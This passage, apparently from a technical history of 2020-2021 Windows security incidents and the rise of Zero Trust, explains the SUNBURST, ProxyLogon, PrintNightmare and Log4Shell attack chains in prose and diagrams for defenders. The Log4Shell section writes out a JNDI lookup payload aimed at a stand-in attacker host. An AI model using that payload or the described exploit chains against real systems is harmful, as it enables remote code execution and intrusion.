Blast radius. SolarWinds' December 14 Form 8-K stated that fewer than 18,000 customers installed the trojanized updates between March and June 2020 [@solarwinds-sec-edgar]. Brad Smith's February 23 Senate testimony placed the count of follow-on victims pursued via lateral movement at fewer than 100 [@senate-intel-2021-02-23]. On April 15, 2021, the White House formally attributed the operation to the Russian Foreign Intelligence Service (SVR), with coincident sanctions and the expulsion of ten Russian diplomats [@wh-fact-sheet-svr-attribution]. The activity cluster Mandiant had originally tracked as UNC2452 was merged into APT29 in May 2022 [@mandiant-apt29-merge]; Microsoft's Nobelium designation was retired on April 18, 2023 in favor of "Midnight Blizzard" under the new weather-themed actor-naming scheme [@ms-actor-naming-2023].

The renaming pile-up matters operationally. Detection rules written against "UNC2452" in early 2021, against "APT29" after May 2022, and against "Midnight Blizzard" after April 2023 all reference the same actor cluster, but tooling and queries that anchor on a single name miss the others. Mandiant's SUNBURST countermeasure repository preserves the original IOCs [@mandiant-sunburst-countermeasures-gh].

Vendor response and federal action. CISA's January 8, 2021 Cybersecurity Advisory AA21-008A was the first federal advisory to name forged authentication tokens, federated identity bypass, and cloud-side persistence as a coherent detection priority [@cisa-aa21-008a]. CISA released an open-source detection tool, Sparrow, with the advisory. SolarWinds shipped Orion 2020.2.1 HF 2 as the hotfix sequence. The April 13, 2021 Department of Justice action against ProxyLogon web shells (covered in the next subsection) and the April 15 White House attribution and sanctions package effectively closed the public-sector response cycle within four months of the December 13 disclosure.

In his 1983 Turing Award lecture, published in *Communications of the ACM* in August 1984, Ken Thompson described a self-referential modification to a compiler that produced a backdoor in any program the compiler subsequently compiled, including future copies of the compiler itself [@thompson-1984-acm, @thompson-nakamoto-reading]. The construction has a property that is easy to state and hard to confront: no amount of source-code auditing reveals the backdoor, because the backdoor is not in any source code. It is in the compiler's behavior.

SUNBURST is not the same construction. The compromise was at the build server rather than the compiler, and the attacker's code was added to the artifact rather than inserted by a self-replicating modification. The relevant similarity is architectural rather than mechanical. In both cases the trust anchor (the compiler in Thompson's lecture, the publisher's code-signing certificate in SUNBURST) was doing exactly what it was specified to do. The auditor of a backdoored binary cannot find the backdoor in the source. The customer of a backdoored vendor cannot find the backdoor in the signature. The chain of evidence is intact at the level the verifier is checking; the failure is at a level the verifier was never specified to check.

Thompson's closing sentence -- "You can't trust code that you did not totally create yourself" -- reads in 1984 as a thought experiment and in 2020 as an operational claim about the build pipelines of every software vendor in the Authenticode trust list.

Key idea: Signed code from your vendor is not trustworthy if your vendor's build pipeline is compromised. Authenticode signs the publisher's binary; it does not sign the build that produced the binary. The eighteen thousand SUNBURST recipients did exactly what their endpoints were specified to do.

If the entry was a signed update from a trusted vendor, the entry was inside the perimeter before the perimeter was tested. The second incident showed what happens when the entry is the perimeter.

3.2 HAFNIUM / ProxyLogon: The Front-End That Pre-Authenticated for the Back-End

Two independent researcher pipelines converged on the same Exchange vulnerability chain within days of each other in January 2021. Volexity's Steven Adair and team observed exploitation activity against customer Exchange Server deployments as early as January 6, 2021 -- a date Volexity later revised to January 3, 2021 in their March 8 update to "Operation Exchange Marauder" [@volexity-exchange-marauder]. Both January dates are earliest-observed exploitation dates, not detection or zero-day-identification dates; the chain was already in operator hands when Volexity's customer-side incident-response telemetry surfaced it. DEVCORE's Cheng-Da "Orange Tsai" Tsai arrived at the same chain independently through code review and reported it to MSRC on January 5 [@orange-tsai-proxylogon]. Both reports landed at Microsoft Security Response Center; both researchers held the disclosure as MSRC worked on a patch. On March 2, 2021 -- a Tuesday, but not a Patch Tuesday -- Microsoft shipped out-of-band updates for all supported Exchange Server versions [@msft-hafnium-blog].

The exploit chain. The audit-correct shape of the chain is three CVEs, not four. CVE-2021-26855 is a server-side request forgery in the Exchange Server front-end that allows an unauthenticated attacker to send requests to the back-end as if the requester were Exchange itself [@nvd-cve-2021-26855]. CVE-2021-27065 is a post-authentication arbitrary file write that the attacker reaches via the SSRF, allowing an attacker-chosen ASPX web shell to be written to a server-controlled directory [@tenable-exchange-zd]. The shell then executes under the Exchange process identity, which is SYSTEM. A separate file-write primitive (CVE-2021-26858) provides a parallel path to the same web-shell drop after authentication.

A class of vulnerability in which an attacker induces a server to issue requests on the attacker's behalf, typically to internal resources that the attacker could not reach directly. CVE-2021-26855 was an SSRF in the Exchange Server front-end (the Client Access role): a forged X-BEResource cookie caused the front-end to proxy attacker-supplied requests to the Exchange back-end with the proxy's own authentication context, bypassing the Exchange authentication boundary entirely.

CVE-2021-26857 sits in a parallel position. It is an insecure deserialization in Exchange's Unified Messaging service that yields code execution as SYSTEM, but only to an attacker who already holds administrator rights or has chained another vulnerability to obtain them [@tenable-exchange-zd]. It does not require the SSRF step. Treating ProxyLogon as a single linear chain of four CVEs is the common simplification; the audit-correct framing is three CVEs in the linear SSRF-to-web-shell path and one separate authenticated RCE primitive in a parallel position.

Note: The "four chained zero-days" shorthand collapses two distinct attack-class shapes and obscures the SSRF-as-load-bearing-primitive observation. The chain that proxies through 26855 does not pass through 26857; 26857 was an independent RCE primitive available to an attacker who already held Exchange administrator rights (or chained another vulnerability to obtain them), which is a different threat-model class from the pre-auth SSRF.

flowchart TD A[Unauthenticated attacker] --> B[CVE-2021-26855 SSRF on front-end] B --> C[Forged backend-auth cookie] C --> D[CVE-2021-27065 or CVE-2021-26858 arbitrary file write] D --> E[ASPX web shell on disk] E --> F[SYSTEM-level RCE] subgraph Parallel G[Authenticated user] --> H[CVE-2021-26857 Unified Messaging deserialization] H --> F end

Blast radius. Pre-patch numbers come from two separate primaries. Brian Krebs reported on March 5, 2021 that "at least 30,000" U.S. organizations had been compromised [@krebs-hafnium-march5]. Bloomberg's March 7 reporting placed the worldwide figure at "as many as 60,000" organizations [@krebs-hafnium-march5]. After Microsoft's March 2 patch shipped, the chain was widely weaponized by additional actor groups -- LuckyMouse, Tick, Calypso, Winnti, and others -- per ESET's March 10, 2021 enumeration of at least ten APT groups exploiting the same chain [@eset-exchange-10apt-2021]; the aggregate count of post-patch compromised servers ran toward 250,000 in the following weeks per Krebs's contemporaneous reporting on hundreds-of-thousands-class Exchange server compromise globally [@krebs-hafnium-march5]. That 250,000 figure is widely cited but it aggregates post-patch indiscriminate exploitation; it is not a pre-patch numerator. Microsoft attributed the original campaign to a Chinese state-sponsored actor it named HAFNIUM, later renamed Silk Typhoon under the weather-themed scheme in April 2023 [@msft-hafnium-blog, @ms-actor-naming-2023].

HAFNIUM became Silk Typhoon at the same April 18, 2023 rename pass that made Nobelium into Midnight Blizzard [@ms-actor-naming-2023]. Microsoft's threat-actor naming history matters because mid-cycle renames can fragment detection coverage; rules keyed on the old name will silently stop matching new advisories.

Vendor response and federal action. Beyond the March 2 out-of-band patches, Microsoft released a one-click mitigation tool on March 8 and the Exchange On-premises Mitigation Tool on March 15. The Department of Justice and FBI then took an unprecedented step.

On April 13, 2021, the U.S. Department of Justice announced that the FBI had executed a court-authorized operation under Rule 41 of the Federal Rules of Criminal Procedure to access compromised on-premises Exchange servers in the United States, copy the attacker-installed web shells, and remove them -- without the system owners' prior consent or notification [@doj-fbi-rule41-pr, @hunton-fbi-rule41]. Owners were notified afterward.

The legal mechanism is worth pausing on. Rule 41, as amended in 2016, allows a single magistrate judge to authorize searches of computers whose location is unknown or whose location is in five or more judicial districts. The April 13 operation was the first major use of that authority to remediate third-party systems at scale, rather than to investigate. The precedent matters: every subsequent federal incident response that contemplates active intervention on private systems sits in the shadow of this order.

The architectural lesson is at the level of the product design. Exchange Server's front-end and back-end were specified to communicate over an authenticated trust boundary inside a single deployment. CVE-2021-26855 made the front-end act as the attacker's proxy into the back-end; the SSRF did not bypass the trust boundary, it relocated to its server-side end and walked through it. On-premises server fleets that organizations control are still on the public internet, and the entry-point class is "the front-end proxy that pre-authenticates traffic for the back-end."

If the supply-chain class compromised the signed code on the endpoint, the on-premises server class compromised the boundary readers thought was between the endpoint and the internet. The third incident compromised the boundary inside the perimeter.

3.3 PrintNightmare: The Legacy SYSTEM Service on Every Domain Controller

On Patch Tuesday, June 8, 2021, Microsoft shipped a fix for CVE-2021-1675 [@msrc-cve-2021-1675] and labelled the vulnerability as an Elevation of Privilege in the Windows Print Spooler. Two weeks later -- with no announcement, no out-of-band advisory, and no community notification -- the MSRC entry was edited to add Remote Code Execution to the impact classification. Sangfor's Zhiniang Peng (@edwardzpeng) and Xuefeng Li (@lxf02942370) had reported the EoP behavior [@cube0x0-cve-2021-1675-gh]; the silent reclassification suggested an RCE primitive existed in the same surface that the June 8 patch had not closed. On June 29, believing the chain was now patched, Sangfor pushed a proof-of-concept to GitHub [@cube0x0-cve-2021-1675-gh, @cert-cc-vu-383432]. The repository was taken down within hours; copies preserved in forks (notably @cube0x0's Impacket port) became the artifact-of-record.

CERT/CC's Will Dormann reproduced the chain the next day and published Vulnerability Note VU#383432 with a sentence that the Windows operations community spent the rest of the week re-reading [@cert-cc-vu-383432]:

While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect against public exploits that may refer to PrintNightmare or CVE-2021-1675. -- Will Dormann, CERT/CC VU#383432, June 30, 2021

On July 1, Microsoft assigned a new CVE -- CVE-2021-34527 -- for the broader RCE surface and acknowledged that it was "similar but distinct" from CVE-2021-1675 [@msrc-cve-2021-34527]. Out-of-band patches followed on July 6-7 for every supported Windows release, including unusual coverage for Windows 7 and Server 2008. On July 13, CISA issued Emergency Directive 21-04 ordering federal civilian agencies to apply the patches immediately and to disable or restrict the Print Spooler on Domain Controllers as a standing mitigation [@cisa-ed-21-04]. Microsoft followed with KB5005010 on July 14, documenting the supplementary Point-and-Print hardening required to close the residual surface [@kb5005010].

The Sangfor commit was preserved in forks because GitHub's fork model maintains each fork as an independent copy of the upstream repository's commit object graph, retained regardless of subsequent upstream deletion [@github-docs-about-forks]. The @cube0x0 fork [@cube0x0-cve-2021-1675-gh] became the de facto preserved artifact-of-record, with Sangfor's original authorship credited in the README. The story is a study in the asymmetry of disclosure timing: a vendor can take down a repository, but cannot retract the bytes that have already left.

PrintNightmare had a prior. Thirteen months earlier, on May 12, 2020, Alex Ionescu and Yarden Shafir published "PrintDemon" against the same service, the same SYSTEM context, and the same fundamental design assumption that PrintNightmare would expose more deeply [@printdemon-windows-internals]. PrintDemon (CVE-2020-1048) exploited the Spooler's printer-port abstraction: a printer port name was an opaque string the Spooler treated as a destination, and an unprivileged user could set the port name to an arbitrary file path. The Spooler would then write the print job bytes to that path -- with SYSTEM privileges -- producing arbitrary file write as SYSTEM through three PowerShell one-liners (Add-Printer, set port, Out-Printer) that any standard user could run. SafeBreach Labs' Peleg Hadar and Tomer Bar independently reported the same surface, reverse-engineered the May Microsoft patch, and presented related Spooler work at Black Hat USA 2020 [@cyberscoop-safebreach-spooler].

The design flaw is the same in both cases: the Spooler's RPC interface trusts caller-supplied strings (port names in PrintDemon; driver-package paths in PrintNightmare) without enforcing caller-side permissions on the file paths they resolve to. PrintDemon's primitive was arbitrary file write as SYSTEM. PrintNightmare's primitive was arbitrary code execution as SYSTEM via DLL load. The May 2020 to June-July 2021 progression is the canonical "expand the primitive" vulnerability-research arc -- same service, same trust assumption, incrementally more dangerous primitive.

Dimension	PrintDemon (CVE-2020-1048)	PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Disclosure	May 12, 2020 Patch Tuesday	June 8 (EoP), July 1 (RCE), July 6-7 OOB
Researchers	Ionescu, Shafir; SafeBreach Hadar, Bar	Sangfor Peng, Li; CERT/CC Dormann; @cube0x0
Vulnerable RPC primitive	Printer-port name accepts arbitrary path	`RpcAddPrinterDriverEx` loads driver from UNC
Primitive class	Arbitrary file write as SYSTEM	Arbitrary code execution as SYSTEM
Caller privilege required	Standard local user	Authenticated domain user
Domain Controller impact	Local file-write only	Remote SYSTEM RCE on every DC running Spooler
Disclosure model	Coordinated, Patch Tuesday	Coordinated, then accidental PoC, then OOB

PrintNightmare is the wider case of an attack-class PrintDemon had already opened. The architectural lesson is that a vulnerability researcher who finds any primitive in a SYSTEM-privileged Windows RPC service should be treated as a signal that the broader surface needs review, not as a point-fix candidate.

The exploit chain. The Windows Print Spooler service (spoolsv.exe) runs as SYSTEM on every Windows machine and is enabled by default, including on Domain Controllers. The Spooler exposes two Remote Procedure Call interfaces (MS-RPRN and MS-PAR) used by clients to query printers, submit jobs, and install drivers. RpcAddPrinterDriverEx is the RPC method that installs a new printer driver. As shipped before July 2021, the method accepted a driver path specified as a UNC, fetched the driver file from that path, and loaded it into the Spooler process -- which runs as SYSTEM. An authenticated domain user could call RpcAddPrinterDriverEx against any reachable Spooler with the driver path pointing to an attacker-controlled share, and obtain SYSTEM execution in the target Spooler process. Domain Controllers running Spooler by default meant any authenticated domain user obtained SYSTEM on every DC. Domain compromise followed.

The MS-RPRN Print System Remote Protocol is the canonical Windows RPC interface for printer management. Per the Microsoft Open Specifications Appendix B Product Behavior, the earliest applicable Windows version is Windows NT 3.1 (1993). It exposes interfaces for printer enumeration, job management, and driver installation. Because Spooler hosts the interface and runs as SYSTEM, every reachable Spooler is a potential SYSTEM-level RPC endpoint. PrintNightmare exploited the `RpcAddPrinterDriverEx` method specifically; the related `RpcAsyncAddPrinterDriver` method is the asynchronous variant Dormann documented as the alternative entry point. flowchart LR A[Domain user with credentials] --> B[RpcAddPrinterDriverEx call] B --> C[Print Spooler on Domain Controller] C --> D[Spooler fetches driver from UNC path] D --> E[Attacker SMB share with malicious DLL] E --> C C --> F[DLL loaded into spoolsv.exe as SYSTEM] F --> G[SYSTEM execution on Domain Controller] G --> H[Domain compromise] PrintNightmare turned on a vendor practice that the disclosure community had not previously named as a primitive: a security advisory whose classification changed without notice. The June 8 publication of CVE-2021-1675 said EoP. The mid-June revision said EoP and RCE. There was no out-of-band advisory, no email to affected administrators, no public callout. The reclassification was visible only to people who happened to revisit the MSRC page.

Sangfor's accidental PoC was, in a real sense, an artifact of the reclassification. The researchers believed the patched June 8 chain was the same chain they had reported and that the published patch covered their proof-of-concept. The change-without-notice meant the patch they were testing was incomplete and the demonstration they were publishing was live. The CERT/CC follow-up demonstrated the same point from the verifier side: a reproducer ran against a fully patched Windows Server 2019 Domain Controller and got SYSTEM.

The post-PrintNightmare disclosure-norms debate spent the next two years working through the implications. Should reclassifications trigger a fresh CVE assignment so the change has its own visible identifier? Should advisories carry change logs analogous to those on RFCs? Should vendors notify researchers credited for one CVE when the classification is broadened? MSRC's current practice has moved toward more transparent change tracking; the 2021 silent reclassification remains the canonical counterexample.

The architectural lesson is that the Windows attack surface still includes services dating from Windows NT 3.1, designed for a single-domain office LAN, running with SYSTEM-equivalent privileges on every Domain Controller by default. A silent vendor reclassification from EoP to RCE is itself an adversarial signal -- it is what leaks the technique.

Note: The defensible architecture for legacy Windows RPC surfaces is to constrain who can reach them and what privileges the host process holds when they are reached. Disabling Print Spooler on Domain Controllers (per CISA ED 21-04 [@cisa-ed-21-04]) and enabling the Point-and-Print restrictions in KB5005010 [@kb5005010] are the immediate hardening; the long-arc architectural answer is the same one that closes the ProxyLogon class, namely treating any service exposing RPC at SYSTEM as an internet-facing surface even when the network topology says otherwise.

If the supply-chain class compromised the signature and the on-premises server class compromised the perimeter, PrintNightmare compromised the inside of the trust boundary -- the Domain Controller itself. The fourth incident showed that even the boundary of the application stack was not a boundary.

3.4 Log4Shell: The Universal Library and the Transitive Dependency Graph

On November 24, 2021, Chen Zhaojun of Alibaba Cloud Security emailed the Apache Software Foundation with a vulnerability in Log4j 2.x: any message that the application logged, if it contained a ${jndi:...} substitution sequence, would trigger an outbound JNDI lookup [@log4j-apache-security]. On December 9, the bug surfaced in Minecraft Java Edition community channels -- which mattered because Minecraft's chat handler logs the messages players send. Within hours, LunaSec's Free Wortley and Chris Thompson published the canonical writeup and coined the name "Log4Shell" [@lunasec-log4shell-gh]. Apache shipped Log4j 2.15.0 on December 10. CVE-2021-44228 was scored CVSS 10.0 [@nvd-cve-2021-44228]. On December 11, CISA Director Jen Easterly's official statement called Log4Shell a "severe risk" and "an urgent challenge to network defenders" [@cisa-easterly-statement-2021-12-11]. Two days later, on the CISA-convened national industry call, she went further: "one of the most serious I've seen in my entire career, if not the most serious" [@cyberscoop-easterly-2021-12-13].

CVE-2021-44228 was the moment "what versions of what library are in my fleet" stopped being a procurement question and became a federal-advisory question. -- Synthesis from CISA AA21-356A and the Apache Log4j security history

Why a Java library belongs in a Windows series. Log4Shell is not a Windows vulnerability. The bug is in Apache Log4j, a Java logging library, and the impact lands on any process that runs the affected Log4j versions and logs untrusted input. It belongs in this series because the most enterprise-impactful exploitation in the Windows-server-fleet population ran through Java applications hosted on Windows: Tomcat and JBoss application servers, VMware vCenter and Horizon, Atlassian Confluence and Jamf Pro on Windows hosts, Cisco enterprise products, ElasticSearch, and dozens of internal Java services running on Windows Server with embedded JREs. Microsoft's December 11, 2021 Security Blog post (with rolling updates through January 2022) documented Log4Shell exploitation against Windows-hosted Java fleets and the Defender for Endpoint detections built on top [@ms-log4j-guidance]; CISA's joint advisory covered the cross-platform exposure explicitly [@cisa-aa21-356a].

A Java API, first standardized in 1999, that provides a uniform interface for naming and directory services. JNDI is the abstraction layer between Java application code and back-end directory implementations -- LDAP, RMI, DNS, CORBA, and others. The Log4j 2.x message-pattern substitution feature evaluated `${jndi:...}` lookups by calling JNDI to resolve the named resource. If the JNDI URL pointed at an attacker-controlled LDAP server, the attacker could return a Java class reference, which the JVM would then download and instantiate -- executing arbitrary code in the application process.

The exploit chain. Any logged string that contained a ${jndi:ldap://attacker.example/payload} substitution caused Log4j to call out to the attacker's LDAP server. The server returned a Java class reference; the JVM dereferenced it, loaded the class over HTTP, and instantiated it. Arbitrary code execution followed under the JVM's identity. The exploitation primitive was extraordinarily compact: any place an attacker could get an attacker-controlled string into a logged event -- HTTP User-Agent, X-Forwarded-For, Minecraft chat, application form fields, log-event JSON, the username field of a failed authentication -- was an entry point.

sequenceDiagram participant Att as Attacker participant App as Java application on Windows participant Log4j as Log4j 2.x logger participant LDAP as Attacker LDAP server Att->>App: HTTP request, header contains JNDI lookup string App->>Log4j: logger.info incoming-request line Log4j->>Log4j: Message-pattern substitution evaluates the lookup Log4j->>LDAP: JNDI LDAP query to attacker host LDAP->>Log4j: Reference to attacker-hosted Java class Log4j->>LDAP: HTTP fetch of the class file LDAP->>Log4j: Bytecode payload Log4j->>App: JVM instantiates the class, runs constructor as the JVM identity Note over App: SYSTEM-level RCE on Windows hosts where the JVM ran as SYSTEM

The Minecraft Java Edition leak vector mattered both for impact and for visibility. Java Edition's chat handler logs the messages players send. A player who typed a JNDI lookup into chat could trigger remote code execution on any server -- including the player's own Minecraft client -- that processed the chat through Log4j. The fastest public confirmation of the bug came not from a security researcher but from screenshots of Minecraft chat sessions, and the discovery propagated through the gaming community before the security industry had its first advisory out.

Blast radius. CVSS 10.0 is the maximum score the framework allows. At the same December 13 industry call, officials placed Log4Shell as affecting "hundreds of millions of devices" [@cyberscoop-easterly-2021-12-13]; the formal eight-agency joint advisory AA21-356A followed on December 22 [@cisa-aa21-356a]. The number was never an audited count; it was an order-of-magnitude estimate that combined Java's installed base (the JDK shipping by the time of disclosure was on every major enterprise platform) with Log4j's adoption across the Java community (Log4j 2 is a transitive dependency of thousands of enterprise packages, often pulled in by chained dependency graphs that the application owner never explicitly chose). What the figure communicated -- accurately -- was that no one knew how many Log4j 2 instances existed in production.

Patch cascade. Log4j 2.15.0 (December 10) closed CVE-2021-44228 but did not fully eliminate the JNDI lookup primitive. 2.16.0 (December 13) closed CVE-2021-45046 by removing message lookups entirely. 2.17.0 (December 17) closed CVE-2021-45105, a denial-of-service in the same substitution path. 2.17.1 (December 28) closed CVE-2021-44832, an arbitrary-code-execution variant. The architectural lesson includes the "first patch did not actually fix it" story -- four CVEs and four patch releases over nineteen days to fully close a single bug class. Backports to the older 2.3.x and 2.12.x branches continued into January 2022.

A formal, machine-readable inventory of the components -- libraries, packages, embedded code, and dependencies -- that make up a software artifact. The two dominant standards are CycloneDX (OWASP, ECMA-424) [@cyclonedx-home] and SPDX (Linux Foundation, ISO/IEC 5962:2021) [@spdx-home]. EO 14028 made SBOM provision a federal procurement requirement [@eo-14028]; the SBOM debate the four incidents accelerated is whether SBOM data is most useful as a *prevention* tool (refusing to install software whose components fail policy) or as an *incident response* tool (answering "are we exposed?" in hours rather than weeks). Log4Shell was the first incident where the IR utility was operationally tested at scale.

Key idea: Universal libraries with deep transitive-dependency footprints are the new universal attack surface. "What versions of what library are in my fleet" was a question the typical enterprise could not answer in December 2021, and that gap is what accelerated SBOM from a policy document to operational tooling.

Four incidents in thirteen months. Four assumptions broken. The next section asks what the prior-decade controls were actually doing that whole time.

4. Why Prior Art Did Not Catch Any of the Four

If the prior decade had quietly elevated four assumptions to invariants, the prior-decade controls had been quietly enforcing them. Here is what each one was actually doing during 2020-2021.

Endpoint EDR alone. The 2018-2020 industry consensus was that endpoint detection and response, plus a SIEM, plus a security operations centre, plus periodic threat hunting, constituted tractable defense-in-depth. The model worked against malware. It did not work against SUNBURST, because the binary that executed was the one EDR was specified to trust: signed by SolarWinds, on the approved publisher list, distributed via the customer's own patch-management pipeline. It did not work against ProxyLogon either, because the entry was an unauthenticated HTTPS request to a publicly reachable Exchange front-end, and the resulting web shell was an ASPX file served by w3wp.exe (the IIS worker process) -- not a malware drop. By the time EDR had behavioral telemetry on either case, the post-compromise phase was several steps along. Microsoft's own Digital Defense Report acknowledged the posture in plainer language: the industry had become competent at finding attackers after the fact, not at stopping them at first execution [@mddr-2021-specific].

Perimeter VPN and Network Access Control. The defense-in-depth posture of the 2010s assumed the inside of the corporate network was a higher-trust zone than the outside, accessed via a VPN concentrator on the boundary. BeyondCorp's 2014-2017 publication sequence had already named the assumption as architecturally wrong: the December 2014 Ward and Beyer paper [@ward-beyer-2014-usenix], the Spring 2016 Osborn et al. design-to-deployment paper [@beyondcorp-osborn-2016], the Winter 2016 Cittadini et al. access-proxy paper [@beyondcorp-cittadini-2016], the Summer 2017 Peck et al. migration paper [@beyondcorp-peck-2017], and the Fall 2017 Escobedo et al. user-experience paper [@beyondcorp-escobedo-2017] together document Google's transition off the privileged-intranet assumption and onto the public internet. SolarWinds did the empirical version of the same argument. The attacker was already inside the privileged-intranet zone, by virtue of a trusted vendor's signed update being a legitimate inhabitant of that zone. Anything the perimeter VPN was enforcing was being enforced against a population that did not include the attacker.

Patch Tuesday as the universal cadence. Microsoft's Patch Tuesday cadence -- the second Tuesday of every month, published at 10 AM Pacific Time -- was the assumed coordination point for the entire Windows defense industry [@ms-release-cycle]. Detection engineering, change management, scheduled-maintenance windows, and operator workflow all keyed on that monthly rhythm. Between March and August 2021, Microsoft issued multiple out-of-band emergency Exchange and Windows updates [@msft-hafnium-blog, @kb5005010]. The cadence's predictability -- the very property that scaled it to a global operator base -- was the property that made out-of-band patches feel like emergencies. The cadence broke under load not because the model was wrong but because the model assumed the load would not arrive in a sustained burst.

The clustering of out-of-band patches matters as a measured cadence-failure signal. Patch Tuesday absorbs routine load; it does not absorb a clustering of pre-auth RCEs in Exchange Server and Print Spooler within four months. The 2021 cluster was a stress test on the cadence itself, and one of the post-incident operator complaints (from administrators of Domain Controllers required to reboot for the July 6-7 PrintNightmare OOB) was that the cadence's monthly rhythm had been training operations teams for a different threat model than the one 2021 produced.

Note: All three prior-art positions -- endpoint EDR, perimeter VPN, monthly patch cadence -- assumed the trust boundary was knowable. EDR knew which binaries were trusted (the signed ones). The VPN knew where the boundary was (between the corporate LAN and the public internet). Patch Tuesday knew when updates would arrive (the second Tuesday of every month). The 2020-2023 cluster proved each boundary was something other than where the prior decade had placed it. The pivot was already on the shelf; it had just not yet become operative.

5. Zero Trust Was Already on the Shelf

There is a startling chronology fact here. NIST Special Publication 800-207, Zero Trust Architecture [@nist-sp-800-207], was published in August 2020. The Mandiant SUNBURST disclosure was December 13, 2020. Zero Trust was not a response to SolarWinds. It was the vocabulary already on the shelf when SolarWinds needed it.

The intellectual chain. Zero Trust is not a single document but a tradition with a thirteen-year arc. Four named milestones structure that arc.

In September 2010, John Kindervag, then at Forrester Research, published "No More Chewy Centers: Introducing the Zero Trust Model of Information Security" [@kindervag-2010-forrester, @isc2-15-years-zt, @illumio-15-years-zt]. The framing was network-segmentation-first and rhetorically unforgettable:

"Information security professionals must eliminate the soft chewy center by making security ubiquitous throughout the network, not just at the perimeter." -- John Kindervag, Forrester Research, "No More Chewy Centers," September 14, 2010

In December 2014, Rory Ward and Betsy Beyer of Google published "BeyondCorp: A New Approach to Enterprise Security" in USENIX ;login: magazine [@ward-beyer-2014-usenix]. The paper documented Google's transition from a privileged-intranet model to one in which every internal application was reachable on the public internet and every access decision was made on the basis of authenticated user and managed-device identity. A series of further BeyondCorp papers through 2017 worked out the engineering details. BeyondCorp is a production implementation of Zero Trust principles; it is not "the framework," and Ward and Beyer do not claim it is.

Between 2017 and 2018, Forrester elaborated the original framing into Zero Trust eXtended (ZTX), a seven-pillar taxonomy, and Gartner introduced CARTA -- Continuous Adaptive Risk and Trust Assessment -- as a complementary continuous-evaluation framing.ZTX gave the framework a procurement-friendly seven-pillar map; CARTA reframed access decisions as continuous rather than session-initial. Neither produced a complete architectural specification, which is the gap NIST SP 800-207 was published to fill in August 2020.

In August 2020, NIST published SP 800-207 [@nist-sp-800-207]. Authored by Scott Rose, Oliver Borchert, Stu Mitchell, and Sean Connelly, SP 800-207 synthesized Kindervag's framing, BeyondCorp's worked example, ZTX's taxonomy, CARTA's continuous evaluation, and federal Trusted Internet Connections (TIC) guidance into a vendor-neutral architecture. The architectural primitives the document names -- Policy Decision Point, Policy Enforcement Point, Policy Engine, and Policy Administrator -- become the load-bearing vocabulary for every subsequent Zero Trust treatment.

An architectural orientation that refuses the assumption of a privileged inside network and decides every access on the basis of authenticated identity, device posture, and contextual signals at the moment of access. The term was coined by John Kindervag at Forrester in September 2010 [@kindervag-2010-forrester]. BeyondCorp [@ward-beyer-2014-usenix] is Google's production implementation, not the framework. NIST SP 800-207 [@nist-sp-800-207] is the vendor-neutral architectural specification. The Microsoft three-principle formulation ("Verify Explicitly, Use Least Privilege, Assume Breach" [@ms-zt-overview]) is *one* specialization of an older tradition; it is not the original. The two load-bearing primitives in NIST SP 800-207's Zero Trust architecture [@nist-sp-800-207]. The Policy Decision Point is the component that evaluates an access request against policy, user identity, device posture, and contextual signals and produces a decision. The Policy Enforcement Point is the component that intercepts the request and enforces the decision the PDP returns. In Microsoft's stack, Conditional Access [@ms-conditional-access] is the PDP for cloud-application access decisions; the resource (Exchange Online, SharePoint, a custom app) is the PEP. The PDP and PEP can be co-located or remote; the architectural distinction is the one that matters. A common simplification reads NIST SP 800-207 as having "formalized BeyondCorp." This is the wrong shape of the chain.

NIST SP 800-207 explicitly references BeyondCorp as one production implementation of Zero Trust principles, alongside other implementations and prior architectural work. The document does not claim to be a formalization of BeyondCorp; it claims to be a vendor-neutral synthesis of multiple traditions, of which BeyondCorp is the most-cited production exemplar. The naming sequence -- "Zero Trust" 2010 by Kindervag, "BeyondCorp" 2014 by Ward and Beyer, "Zero Trust Architecture" 2020 by Rose et al. -- preserves the distinction.

The reason this matters is that "BeyondCorp" as a brand has become shorthand inside the Google-aligned engineering community for "the Zero Trust thing," while in the federal procurement community the relevant artifact is SP 800-207 itself. When the OMB M-22-09 federal Zero Trust strategy memo [@omb-m-22-09] cites a canonical reference, it cites SP 800-207, not BeyondCorp. The Microsoft three-principle formulation cites SP 800-207. CISA's Zero Trust Maturity Model cites SP 800-207. BeyondCorp is the worked example; SP 800-207 is the contract.

flowchart LR A[Kindervag Forrester 2010, No More Chewy Centers] --> B[Google BeyondCorp 2014 to 2017, USENIX login] B --> C[Forrester ZTX 2017 to 2018] A --> C A --> D[Gartner CARTA 2017 to 2018] C --> E[NIST SP 800-207 August 2020] D --> E B --> E E --> F[Microsoft three-principle 2021 to 2022] E --> G[EO 14028 May 2021 and OMB M-22-09 January 2022] G --> H[CISA ZTMM v2.0 April 2023] E --> H

The Microsoft three-principle adoption -- Verify Explicitly, Use Least Privilege, Assume Breach -- runs through Microsoft Build 2022's Zero Trust keynote programming and through the Microsoft Learn Zero Trust overview that codifies the framing as Microsoft documentation [@ms-zt-overview]. Federal adoption became binding in OMB M-22-09 on January 26, 2022 [@omb-m-22-09], which required Federal Civilian Executive Branch agencies to align with SP 800-207 and the CISA Zero Trust Maturity Model by end of FY24, with phishing-resistant multi-factor authentication as the identity-pillar baseline.

Key idea: Zero Trust is not a 2020 invention, and the SolarWinds-HAFNIUM-PrintNightmare-Log4Shell clustering is not what created the architecture. The vocabulary was already on the shelf in August 2020. The thirteen-month incident clustering is what made the vocabulary operative for the Windows industry -- because the incident clustering invalidated four separate assumptions simultaneously, and only an architectural pivot at the perimeter-trust level addressed all four.

The vocabulary existed in August 2020. The receipt arrived in December 2020. Section 6 walks the four Windows-side primitives that operationalized the vocabulary at scale.

6. The Defensive Layer That Shipped at Scale (2021-2023)

Vocabulary becomes architecture only when something ships. Here are the four Windows-side primitives that operationalized Zero Trust between 2021 and 2023.

6.1 Microsoft Pluton: The Hardware Response to a Supply-Chain Class

On November 17, 2020 -- three weeks before Mandiant's SUNBURST disclosure -- David Weston announced the Microsoft Pluton security processor [@weston-2020-pluton]. The announcement named the architectural goal directly. Discrete Trusted Platform Modules sit on the LPC or SPI bus that runs between the CPU package and the motherboard chipset; the bus is observable with a logic analyzer. The 2019 Pulse Security research by Denis Andzakovic [@pulse-tpm-sniffing], the 2021 SCRT reproduction [@scrt-tpm-sniffing], and Henri Nurmi's 2022 WithSecure Labs SPI follow-up [@withsecure-tpm-sniffing] had all demonstrated that the BitLocker Volume Master Key transiting that bus was extractable with a forty-dollar FPGA. Pluton's architectural answer was to eliminate the bus. Place the security processor inside the CPU package, and the BitLocker key never traverses an externally observable trace.

